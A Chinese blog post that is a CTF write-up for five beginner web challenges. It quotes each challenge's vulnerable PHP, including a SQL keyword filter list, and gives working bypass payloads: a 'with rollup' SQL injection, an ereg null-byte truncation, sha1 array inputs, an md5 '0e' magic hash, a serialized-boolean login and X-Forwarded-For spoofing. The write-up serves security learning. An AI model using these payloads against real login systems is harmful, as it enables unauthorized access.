Yoga7xm's Blog

实验吧CTF---WriteUp

字数统计: 1.7k阅读时长: 7 min
2018/11/14 Share

0x01 前言

这两天看着各种群里的大佬们晒着湖湘杯等决赛资格,并且CTF也能巩固基础,然后我就开始入坑此处了。现阶段是从实验吧决斗场中的几道题开始。

0x02 因缺思汀的绕过

题目最初是两个输入框,然后有一个提交按钮,十分简洁。

查看源代码发现有个<!--source: source.txt-->的注释标签提示。于是打开source.txt文件,可以找到index页面的源代码

其中非常关键的代码段有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function AttackFilter($StrKey,$StrValue,$ArrReq){  
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "姘村彲杞借垷锛屼害鍙禌鑹囷紒";
exit();
}
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}

这部分把很多关键词给过滤了,而且把数组也给字符串化了。

1
2
3
4
5
6
7
8
9
10
11
12
13
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "浜﹀彲璧涜墖锛�";
}
}else{
print "涓€棰楄禌鑹囷紒";
}

此处登录验证的方式是,将form传入的uname参数作为索引拿去数据库进行查询,然后判断查询后返回的pwd与传入的pwd进行比较。很明显此处需要我们构造sql查询语句进行绕过。

针对if (mysql_num_rows($query) == 1),可以构造语句为 uname='or 1=1 limit 1#pwd=进行绕过。

返回为:

说明已经成功突破第一步。

尝试语句uname='or 1=1 limit 1 offset 1#pwd=也能成功,而offset 2失败,说明该表存在两个用户。

利用group by ... with rollup关键字

举例如下

1
2
3
4
5
6
7
8
9
10
mysql> select * from user;
+----+-------+------+
| id | uname | pwd |
+----+-------+------+
| 1 | user1 | pwd1 |
| 2 | user2 | pwd2 |
| 3 | user3 | pwd3 |
| 4 | user4 | pwd4 |
+----+-------+------+
4 rows in set

假如没有with rollup的查询:

1
2
3
4
5
6
7
8
9
10
mysql> select uname,pwd from user where uname='' or 1=1 group by pwd;
+-------+------+
| uname | pwd |
+-------+------+
| user1 | pwd1 |
| user2 | pwd2 |
| user3 | pwd3 |
| user4 | pwd4 |
+-------+------+
4 rows in set

带有with roollup的查询:

1
2
3
4
5
6
7
8
9
10
11
mysql> select uname,pwd from user where uname='' or 1=1 group by pwd with rollup;
+-------+------+
| uname | pwd |
+-------+------+
| user1 | pwd1 |
| user2 | pwd2 |
| user3 | pwd3 |
| user4 | pwd4 |
| user4 | NULL |
+-------+------+
5 rows in set

很明显,是用来在分组统计数据的基础上再进行统计汇总,即用来得到group by的汇总信息;


于是乎,可以根据group by … with rollup 结合limit..offset进行构造语句,根据弱类型的特性,Null与空字符串相等,来绕过验证。

语句为:

1
uname=' or 1=1 group by pwd with rollup limit 1 offset 2#&pwd=

因为表中共有两行数据,然后使用with rollup过后,存在三行数据,此时offset 2 正好从第三行开始取数据。

最终取得数据类比为:

1
2
3
4
5
6
7
mysql> select pwd from user where uname='' or 1=1 group by pwd with rollup limit 1 offset 2;
+------+
| pwd |
+------+
| NULL |
+------+
1 row in set

0X03 Once More

老规矩,查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

可以发现,为获得flag有三大要求:

  • 首先,password的值由字母+数字组成,

  • 其次,位数小于8且值大于9999999,

  • 最后,还得包含字符串*-*.

前两个条件可以用科学计数法绕过,而后最后一种只能从ereg()函数下手.Google了一下,

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

于是乎可以构造语句password=9e8%00*-* 获取flag

0x04 FALSE

查看源代码,进行分析审计

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>

可以看出,需要找到两个不同值的sha1产生摘要的相同,但是两个不同的消息 有1x10 ^ 48分之一的机率出现相同的消息摘要, 所以还得去寻找php中sha1()函数漏洞.继续Google大法

*md5()是不能处理数组的,md5(数组)会返回null,两个null相等绕过 sha1()同理 *

于是乎,依旧可以构造语句:

name[]=2&password[]=1 获取flag.

0x05 天网管理系统

查看源代码,可以获得提示

1
<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->

可知,user的判断条件为,传入的username的md5值与字符串”0”进行比较.

php弱类型

php中有两种比较的符号 == 与 ===

​ === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较

​ == 在进行比较的时候,会先将字符串类型转化成相同,再比较

当字符串被当作一个数值来处理时,如果该字符串没有包含’.’,’e’,’E’并且其数值在整型范围之内,该字符串作为int来取值,其他所有情况下都被作为float来取值,并且字符串开始部分决定它的取值,开始部分为数字,则其值就是开始的数字,否则,其值为0

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
var_dump(0=='0'); //true
var_dump(0=='asdfghjkl'); //true
var_dump(0==='asdfghjkl'); //false
//---------------------------------
var_dump('0'=='0e12344'); //true
var_dump('0'=='0asdfghj'); //false
//---------------------------------
var_dump(1=='1e123456'); //false
var_dump(1=='1asdfghj'); //true
//---------------------------------
var_dump(true=="asdfghjkl");//true
?>

于是找到开头为0e开头且其他均为数字的md5值的字符串,例如s878926199a

https://blog.csdn.net/qq_35544379/article/details/78181546

提交至用户名栏,返回得到

打开提示的网站,

1
2
3
4
5
6
7
8
9
10
<?php	
$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
{
print_r($flag);
}
?>
伟大的科学家php方言道:成也布尔,败也布尔。
回去吧骚年

其中unserialize()函数是php的反序列化函数,要求反序列化后得到的数组中,userpass的值能与任何值==比较相等,也就是均为布尔型TRUE

开始构造pass值,

1
2
3
4
5
6
<?php 
$arr['user']=true;
$arr['pass']=true;
$ser=serialize($arr);
print_r($ser);
?>

得到$ser的值为:a:2:{s:4:"user";b:1;s:4:"pass";b:1;} ,将其提交为密码栏,得flag

0x06 貌似有点难

查看源代码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>

需要构造X-Forwarded-For: 1.1.1.1即可获取flag。

0x07 后记

题目虽然挺容易的 ,但是对于入门是足够的了


0x07 参考链接

PHP函数黑魔法小总结

PHDays 2013 CTF “Blade” Writeup

CATALOG
  1. 1. 0x01 前言
  2. 2. 0x02 因缺思汀的绕过
  3. 3. 0X03 Once More
  4. 4. 0x04 FALSE
  5. 5. 0x05 天网管理系统
    1. 5.1. php弱类型
  6. 6. 0x06 貌似有点难
  7. 7. 0x07 后记
  8. 8. 0x07 参考链接